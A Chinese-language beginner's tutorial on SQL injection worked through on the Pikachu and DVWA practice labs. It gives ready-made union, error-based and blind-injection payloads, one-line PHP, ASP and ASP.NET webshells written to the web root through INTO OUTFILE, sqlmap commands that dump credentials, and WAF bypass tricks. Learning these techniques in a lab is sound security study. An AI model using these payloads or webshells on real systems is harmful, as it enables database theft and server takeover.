
SQL注入
学习视频链接: web渗透技术零基础入门 ctf入门视频教程 因为本人也是初学者,这里只对SQL注入做一些简单的介绍
SQL注入
- 一、SQL注入漏洞原理与利用
- 1.1 SQL注入背景
- 1.2 SQL注入漏洞的形成
- 1.3 SQL注入攻击流程
- 1.4 常见的注入点类型
- 1.4.1 数字型注入
- 1.4.2 字符型漏洞
- 1.4.3 搜索型漏洞
- 1.5 利用union进行信的获取
- 1.6 Sql基于函数报错的信获取
- 1.6.1 常用的报错函数
- 1.6.2 updatexml()
- 1.6.3 基于extractvalue()报错的信获取
- 1.6.4 基于floor()函数报错的信获取
- 1.6.5 基于insert、update、delete的注入
- 1.7 http Header注入
- 1.8 sql盲注
- 1.8.1 盲注原理及分类
- 1.8.2 基于布尔的盲注
- 1.8.3 基于时间的盲注
- 二、SQL注入应用
- 2.1 通过SQL进行OS远程控制
- 2.1.1 导入文件
- 2.1.2 导出文件
- 2.2 表(列)名的暴力破解
- 2.3 SQLMAP的使用
- 2.4 SQL注入漏洞常见防范措施
- 三、总结
- 3.1 SQL注入原理
- 3.2 SQL注入类型
- 3.3 SQL注入危害
- 3.4 报错注入常用函数
- 3.5 SQL注入绕过方法
- 3.6 SQL注入经常出现在什么地方?
- 3.7 Sql server 相关知识
截至2021年,在OWASP发布的top10漏洞里面,注入漏洞危害一直是排名第一,其中主要指SQL Injection 漏洞 OWASP TOP10
1.2 SQL注入漏洞的形成数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信泄露的一种漏洞。 示例:
以下是一段php代码,用于验证用户身份信
// PHP $sql="select id from Table_login where _username='$username' and _password='$password'";假设数据库中存放有数据: _username=feng,_password=1 正常输入密码:1 通过拼接输入的密码:’ or ‘1’='1 此时后端拼接的语句为:
_password=’ ’ or ‘1’='1 ‘"; 上述通过拼接而成的代码得到的逻辑为:0 or 1,结果为1,即 True 所以可以登录成功 输入:’ or ‘1’='1 Sql注入的本质是用户输入的数据被当作代码执行,其中包括两个关键条件: 1.用户能够控制输入 2.原本程序要执行的代码,拼接了用户输入的数据 1.3 SQL注入攻击流程- 第一步:注入点探测
- 自动方式:使用Web漏洞扫描工具,自动进行注入点发现
- 手动方式:手工构造sql inject测试语句进行注入点发现
- 第二步:信获取
- 通过注入点期望取期望得到的数据 1.环境信:数据库类型,数据库版本,操作系统版本,用户信等 2.数据库信:数据库名称,数据库表,表字段,字段内容(加密内容破解)
- 第三步:获得权限
- 获取系统操作权限:通过数据库执行shell,上传木马
- 数字型
- 字符型
- 搜索型
选择数字型注入
没有在url里传参,说明使用POST方法,查看源码,发现共有6个可选字段
我们猜测,后端的查询代码可能是这样的
$id =$ _POST['id']; …… " select 字段1,字段2 from 表名 where id=$id ";使用burpsite抓包 修改id值 send
查看数据库
use pikachu; Database changed
查看源代码
1.4.2 字符型漏洞选择字符型注入
原理都差不多,这里介绍几个注释符号
注意,减号后面有空格
1.4.3 搜索型漏洞选择搜索型注入
猜测后端可能存在的代码
$name=$_POST['username']; " select id,email from member where username like '%$name%' ";所以,我们可以百度一下mysql like模糊查询的相关指令
以上信,我们可以发现通配符的作用,单个’_'可以匹配任意字符 查询成功!
通常情况下,我们可以构造闭合,构造闭合后可以执行自己想要执行的命令
拓展:xx型注入
在实际渗透测试过程中不可能得到目标网站的源码,这个时候就需要根据经验和多测试。比如发现一个输入框,就首先进行单双引号测试 aaa” or 1=1# 或者 aaa) or 1=1# 等。 而实际上,我们需要通过输入数据判断输入的数据是否参与后台数据库的代码拼接与逻辑运算
1.5 利用union进行信的获取MYSQL数据库结构:
Union 联合查询:可以通过联合查询来查询指定的数据用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名注意:联合查询的字段需要和主查询一致,即前面查询几个字段,后面也应该查询相同数量的字段
' union select version(),user()# //示例代码 select id,username from member union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),version();group_concat:将产生的同一个分组中的值连接起来,返回一个字符串结果。
//通过联合查询,查询当前使用的数据库和’dvwa‘中的所有表以及用户 select group_concat(table_name),user() from information_schema.tables where table_schema=database() union select group_concat(table_name),user() from information_schema.tables where table_schema='dvwa'; 下面我们完整来做一次Sql注入的演示。靶场:Pikachu漏洞练习平台 现在我们假设不知道网站源码,但已经知道注入点 以字符型注入为例,首先我们需要知道数据库到底查询了几个字段 1' union select 1,2,3# 1' union select 1,2#说明有两个字段
一般情况下,我们使用order by的方法查询字段,例如利用排序对输出进行排序: 如果只查询了两个字段,则无法’order by 3’,因为不存在第三列,所以无法进行排序; 如果查询了三个字段,此时’order by 3’,因为存在第三列,所以可以按照第三列的字段进行排序,然后输出。
说明存在两个字段
在知道查询的字段数后,我们查询数据库名,也可以查询user名 //查询当前正在使用的数据库及使用该数据库的用户 1' union select database(),user()# //查询所有的数据库及版本 1' union select (select group_concat(schema_name) from information_schema.schemata),version()# 下一步,在知道了数据库名之后, 我们查询pikachu里面所有的表 1' union select (select group_concat(table_name) from information_schema.tables where table_schema=database() /*或者'pikachu'*/),2# 再往下,我们查询users表中的所有列 \\\\查询所有列 1' union select 1,column_name from information_schema.columns where table_name='users' and table_schema=database()# 知道所有列之后,我们就可以通过一些语句查询自己想要知道的信 例如 //查询id,username 1' union select id,username from users# //依次查询id,username,password,level 1' union select concat_ws(',',id,username), concat_ws(',',password,level) from users group by username#concat_ws:将每个参数值和第一个参数separator指定的分隔符依次连接到一起组成新的字符串,长度和类型取决于输入值。
1.6 Sql基于函数报错的信获取 1.6.1 常用的报错函数- 常用的报错函数updatexml()、extractvalue(),floor()
- 基于函数报错的信获取(select/delete/insert/update)
技巧思路:在MYSQL中使用一些指定的函数来制造报错,从而从报错信中获取相关信 背景条件:后台没有屏蔽数据库报错信,在语法错误时会输出到前端
三个常用的报错函数:
1.6.2 updatexml()Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:filename是String格式,为表中的字段名。 第二个参数:XPathstring(Xpath格式的字符串)。 第三个参数:new_value,String格式,替换查找到的符合条件的Xpath定位必须是有效的,否则就会发生错误
XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的。
下面列出一些路径表达式以及表达式的结果
演示: 当我们输入错误的语法时,数据库会报错 //updatexml查询版本 1' or updatexml(1,version(),0)#部分信没显示出来
//有的时候报错信会设置长度限制,添加标识符可以避免显示不完全 //updatexml改进 1' or updatexml(1,concat(0x7e,version()),0)# //0x7e是字符~的ascii码的十六进制表示,这里也可以用0x23 //updatexml查询database() 1' or updatexml(1,concat(0x7e,database()),0)#剩下的操作就是修改payload中的数据,修改为我们想要执行的命令,例如
//updatexml查询table_name 1' or updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())),0)# //updatexml查询column_name 1' or updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),0)#其他操作和类似
1.6.3 基于extractvalue()报错的信获取 extractvalue() :对XML文档进行查询的函数 语法:extractvalue(目标xml文档,xml路径) //利用extractvalue()函数报错进行信获取 1' or extractvalue(1,concat(0x7e,version()))# 1' or extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e))# 1' or extractvalue(1,concat(0x23, (select count(id) from users) ,0x23))#共有三行数据
在查询字段时,可能会出现这种情况 原因是返回了多行数据,而子查询的结果只能有一行
可以使用limit方法 1' or extractvalue(1,concat(0x23, (select concat_ws('-',id,username,password,level) from users limit 0,1) ,0x23))# 1' or extractvalue(1,concat(0x23, (select concat_ws('-',id,username,password,level) from users limit 1,1) ,0x23))# 1' or extractvalue(1,concat(0x23, (select concat_ws('-',id,username,password,level) from users limit 2,1) ,0x23))# 1.6.4 基于floor()函数报错的信获取 首先我们来看这么一段与floor函数有关的代码fruits表中共有17行数据
基于随机数进行分组发生报错:分组关键字’1’重复
为了确定floor()函数生成的随机数,我们进行测试生成的数是伪随机数,对前面6个数字的取整都是011011
所以为何会报错呢?使用select s_id,count(*) from fruits group by s_id;这样的语句时,mysql会建立一个虚拟表 其中,key是主键,不能重复
那么,如果key值重复了呢?(会报错,主键冗余)group by 进行分组时,floor(rand(0)*2)执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 floor(rand(0)*2) 就又计算了一次。(其实在上述 rand(0) 产生多个数据的时候,也能观察出来。只要 rand(0) 被调用,一定会产生新值)。
所以,当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错! 参考链接
根据这个,我们开始sql注入 //需要注意的是,group by函数需要配合聚合函数使用 1' or (select 1 from (select count(*), concat_ws(',',version(),database(),user(),floor(rand(0)*2))x from information_schema.tables group by x)a)# //查找当前数据库有多少张表 1' or (select 1 from (select count(*), concat_ws(',',(select count(*)tables from information_schema.tables where table_schema=database()), floor(rand(0)*2))x from information_schema.tables group by x)a)# //查询第二张表的name 1' or (select 2 from (select count(*), concat_ws(',',(select concat_ws(',',table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x )a)#但是不能使用group_concat函数 子查询多于一列
不能使用group_concat的原因我猜测可能和group_concat的特性有关。 concat和concat_ws将多个字符串连接成一个字符串, 得到的结果显示在一行 而group_concat则将数据进行分组,有多行结果具体情况还需要具体分析,像这些报错函数有时适用于特定的场合,比如select不能使用的情况下。 我们还需要多加练习才能提升对这些报错函数的理解
1.6.5 基于insert、update、delete的注入打开pikachu,进入此界面 点击注册 注入点查找 提交,我们先查看后台,发现多出的信
//insert命令 insert into member(username,pw,sex,phonenum,address) values('xxx',111,'boy',123,'123@pikachu'); select * from member;以上是正常输入
我们尝试在第一个引号后面构造闭合 values('xxx',111,'boy',123,'123@pikachu'); ' or updatexml(0,concat(0x7e,database(),0x7e),1) or ' 后台处理用户提交的数据时,拼接的数据是这样的: values(' ' or updatexml(0,concat(0x7e,database(),0x7e),1) or ' '……) 由于报错,数据实际上并不会插入数据库中去剩余的操作和其他的注入方法一样,在此就不加以赘述了
insert与update操作类似
//update命令 UPDATE SET member sex='123' where id=32;复制上面的代码: ' or updatexml(0,concat(0x7e,database(),0x7e),1) or '
进入delete注入界面 随便输入些东西,然后删除,再使用burpsite抓包
删除aaa
抓包 我们看到字段id=58,所以可以猜测,后台可能是根据id进行删除的。尝试再删除一条留言,抓包 id=56
查看数据库源码 数字型。
进行sql注入
1 or updatexml(0,concat(0x7e,database(),0x7e),1)send
1.7 http Header注入有些时候,后台开发人员为了验证客户端头信(比如常用的cookie验证)或者通过http header头信获取客户端的一些信,比如useragent、accept字段等等。 会对客户端的http header信进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致http header的SQL Inject漏洞。
进入"http header"注入界面并登录 使用burpsite抓包修改useragent值 报错,也就是说,这里可以注入
//代码 ' or extractvalue(1,concat(0x7e, (select count(*)tables from information_schema.tables where table_schema=database()),0x7e)) or ' //注意,修改payload值的时候不能换行尝试对username进行注入 说明可以注入
//sql注入 ' or extractvalue(1,concat(0x7e, (select count(*)tables from information_schema.tables where table_schema=database()),0x7e)) # //注意,修改payload值的时候不能换行 1.8 sql盲注 1.8.1 盲注原理及分类在有些情况下,后台使用了错误消屏蔽方法(比如@)屏蔽了报错,此时无法根据报错信来进行注入的判断。也就是不回显 这种情况下的注入,称为盲注 根据表现形式的不同,又分为based boollean和based time两种类型
1.8.2 基于布尔的盲注基于布尔的盲注主要表现为 0:没有报错信 1:不管是正确的输入还是错误的输入,都只显示两种情况(我们可以认为是0或者1) 2:在正确的输入下,输入 and1=1/and 1=2发现可以判断
利用靶场进行测试输入正确的值
错误的值 说明and后面的语句也被后台数据库执行了
使用mysql进行测试,这里使用substr方法来判断数据库名第一个字母为’p’,返回1(True)
进行ascii码转换 可以用比较大小的方法判断说明数据库名第一个字母的ascii码为112,也就是’p’
还可以使用length函数确认长度数据库长度为7
//通过以上逻辑,我们进行sql注入 //表示的意思为 0 or ret //若后面返回的值为1,则整个表达式为0 or 1,为真 //反之,后面语句判断为False,返回0,则整个表达式为0 or 0,为假 ' or (length(database())=7)#不过似乎有些问题 代码应该没问题,查看源码。但是还是不清楚是怎么回事。 可以使用and运算符,但使用or运算符貌似就不行,即便前面的语句为真
lucy' and length(database())=7# lucy' and length(database())=6# lucy' or length(database())=7#数据库也没问题
我也不太清楚这是为什么,可能是bug吧
尝试换一个靶场 ' or (length(database())=7)# ' or (length(database())=4)# 1.8.3 基于时间的盲注- 特点:页面不存在异常,且无回显也无报错信;
- 利用:只能利用条件语句结合执行时间的长短来判断payload是否正确。
核心思想: If (payload,sleep(3),1) 即payload正确,程序暂停三秒,否则立即执行 If (payload,sleep(1),3) 即payload正确,程序立即执行,否则暂停三秒
1' or if (1=1,sleep(3),null)# 1' or if (1=2,sleep(3),null)#没有任何延迟,因为if的结果是False
利用这个,构造payload 1' or if (length(database())=7,sleep(3),null)#说明数据库长度为7,sleep 3
1' or if (substr(database(),1,1)='p',sleep(3),null)# 二、SQL注入应用 2.1 通过SQL进行OS远程控制 一句话木马: 可以理解为只需要一句代码就可以实现任意命令执行的木马。 例如 PHP: <?php @eval($_POST['payload']); ?> ASP: <%eval request('payload')%> ASP.NET: <%@ Page Language="Jscript"%> <%eval(Request.Item['payload'],'unsafe');%> 这里我们先介绍一下导入文件和导出文件的相关知识 2.1.1 导入文件部分图片来源:中国大学mooc课程《信系统安全与对抗实践》第四单元sql注入漏洞(四) 链接 这是已经修改好的
//如果count(*)>0,则说明具有读权限 ' union select (select count(*) from mysql.user)>0,user()#返回1,说明具有读权限
//代码 1' union select load_file("D:/aa.txt"),2#在pikachu数据库里创建一张表text1,用于存放数据 create table text1( txt_content MEDIUMTEXT );
为了演示,我们加入新的一列
//添加列 alter table text1 add column column_description mediumtext after txt_content;开始将文件导入数据库表中
假设我们现在已经通过sql注入知道了pikachu这么一个数据库中有个表叫做text1,里面有两列,列名分别叫做text_content,column_description,并且编码为utf8
//导入文件,路径为"D:/aa.txt" load data infile "D:/aa.txt" into table text1 character set utf8 fields terminated by '\\t' lines terminated by '\\n' (txt_content,column_description);更多关于导入文件的相关信可以到网上查找相关教程
2.1.2 导出文件- select…into outfile ‘filename’
- 以把select到的内容写入到一个文件中,file_name不能是一个已经存在的文件。
- 当Web页面不回显数据时,可以使用此方法将导入的文件导出到Web网页根目录,就可以访问了。 select load_file(‘file_name’) into outfile ‘web_root_path/1.txt’
现在网站目录没有get_info.php这个文件
//写入一句话木马 ' union select "<?php @eval($_GET['c']) ?>",2 into outfile "D:/phpstudy_pro/WWW/feng/1.php"#Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in D:\\phpstudy_pro\\WWW\\feng\\pika\\vul\\sqli\\sqli_str.php on line 30
已写入
代码执行
2.2 表(列)名的暴力破解information_schema 数据库跟 performance_schema ⼀样,都是 MySQL ⾃带的信数据库。其中 performance_schema ⽤于性能分析,⽽ information_schema ⽤于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。 那么如果我们要注入的数据库没有这个信数据库呢?
大多数情况下,我们可能需要暴力破解原理:
//借用逻辑或运算,后面为真,则返回1 //从字典文件中读取文件,利用burpsite进行暴力破解 ' or exists(select * from dictionary_file)#后端演示
//前端输入相关语句,并用burpsite抓包 ' or exists(select * from dictionary_file)#send to Intruder 先clear所有标记。然后标记要标记的字符。 添加payload 可以手动输入也可以添加字典,这里我们手动输入一些值 查看长度最长的那个数据包 正确,说明存在users这个表。
知道表以后我们可以进行类似的操作,例如查找列,查找列中的字段等。在这就不演示了
2.3 SQLMAP的使用实际操作中,手工测试不太方便,所以我们往往会选用一些自动化的工具去进行测试。这里以SQLMAP为例
官方说明: 翻译过来就是,sqlmap是自动化的sql注入及数据库接管工具 sqlmap下载地址
使用:直接在sqlmap目录下运行sqlmap.py就可以了 使用的python版本为python2 (注意,目前sqlmap没有python3的版本)python sqlmap.py -u "127.0.0.1/pika/vul/sqli/sqli_blind_b.php?name=1 &submit=%E6%9F%A5%E8%AF%A2"
name is vulnerable,意思就是name这个参数是可以注入的 回复N,暂时不去测试其他的注入点。这里我们可以看到它是如何进行注入点探测的。 建立连接之后,我们就可以进行sql注入了
//查看所有的数据库 python sqlmap.py -u "127.0.0.1/pika/vul/sqli/sqli_blind_b.php ?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs //查看pikachu数据库中所有表 python sqlmap.py -u "127.0.0.1/pika/vul/sqli/sqli_blind_b.php ?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables //查看pikachu数据库中users表中所有列 python sqlmap.py -u "127.0.0.1/pika/vul/sqli/sqli_blind_b.php ?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns //查看字段信 python sqlmap.py -u "127.0.0.1/pika/vul/sqli/sqli_blind_b.php ?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password -dump已经通过sqlmap获得了用户名及密码
更多sqlmap的使用请自行查找相关资料
2.4 SQL注入漏洞常见防范措施Web应用防火墙能识别payload
三、总结 3.1 SQL注入原理- 数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信泄露的一种漏洞。
- 简单来说,就是通过sql注入点把sql语句插入数据库中执行,数据库执行了该语句,从而使攻击者达到自己想要达到的目的。
- 例如获取数据库相关信(基于内联查询、报错的注入),获取相关信后,可以借用注入文件导出命令上传木马(select load_file(‘file_name’) into outfile ‘web_root_path/webshell.php’),再执行木马。
- 按照参数类型来分类,常见的有数字型、字符型以及搜索型
- 按照是否回显来分类:回显与不回显
- 其中,回显的有正常回显的注入,基于报错的回显的注入等
- 不回显的,也就是盲注,有基于时间的盲注和基于布尔的盲注等
1、攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人 信,造成用户的信泄露。
2、通过操作数据库对某些网页进行篡改;
3、修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;攻击者进而可以对网页进行篡改,发布一些违法信等。
4、服务器被远程控制,被安装后门。可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
5、数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
6、破坏硬盘数据,导致全系统瘫痪;
3.4 报错注入常用函数- updatexml(1,payload,0) 1' and updatexml(1,concat(0x23,database(),0x23),1) --
- extractxml(1,payload) 1' and extractvalue(1,concat(0x7e,user()))#
- floor(rand(0)*2)
1.大小写混合 原因:服务器端检测未开启大小写不敏感 例如:UniOn SeleCt 2.多重关键字 服务器检测到敏感字符时,将其替换为空 绕过:ununionion seselectlect 3.编码 原因:服务端未检测或检测不严具有编码形式的关键字 类型:十六进制编码、URL编码、Unicode编码 形式:0x61646d696e、%20、%u0020 4.注释 原因:服务端未检测或检测不严注释内的字符串 形式:/**/ ,/!/,/!12345/,#,-- 等。 5.等价函数或命令 原因:服务器端黑名单不完整,过滤不严 形式: mysql 查询:Union distinct,updatexml,extractvalue,floor 字符串截取函数:mid,substr,substring,left,reverse 字符串连接函数:concat,group_concat,concat_ws 字符串转换:char,hex,unhex 替换逗号:select * from users limit 1 offset 0,select mid(version() from 1 for 10) 替换等号:like 6.特殊符号 7.组合绕过
3.6 SQL注入经常出现在什么地方? 3.7 Sql server 相关知识SQL Server 是 Microsoft 开发的一个关系数据库管理系统(RDBMS),现在是世界上最为常用的数据库;
-
SQL Server 被设计为在中央服务器上运行(或服务器),使多个使用者可以同时访问相同的数据;用户通常通过应用程序访问数据库。
关系数据库管理系统(Relational Database Management System:RDBMS)是指包括相互联系的逻辑组织和存取这些数据的一套程序 (数据库管理系统软件)。关系数据库管理系统就是管理关系数据库,并将数据逻辑组织的系统。 关系数据库:在一个给定的应用领域中,所有实体及实体之间联系的集合构成一个关系数据库。
-
例如,一个网页可以存储在数据库中的所有内容。当访问者浏览的文章,他们从数据库中检索数据。一个网站服务的对象达到了数百,甚至数千的访客。同时,还得满足其他用户可以更新他们的个人资料,会员区,还能订阅新闻简报或其他任何网站的用户操作。所以有很多用户都是同时读取和更新数据库的,那么一个良好的,强大的数据库系统满足这种类型的用法。毕竟,你不希望你的数据库锁定,因为太多用户试图访问它,或者更糟的是,你不会希望在你的数据库,由于电线损坏而致数据获取不到。
-
通常,这是是由网站的应用程序提供的功能,以这些访问者(例如,可以使用如,ColdFusion,HTML和JavaScript来构建网站)。它使用数据库存储数据,并使其可用。但是,SQL Server不包括一些有用的功能,可帮助应用程序提供的功能。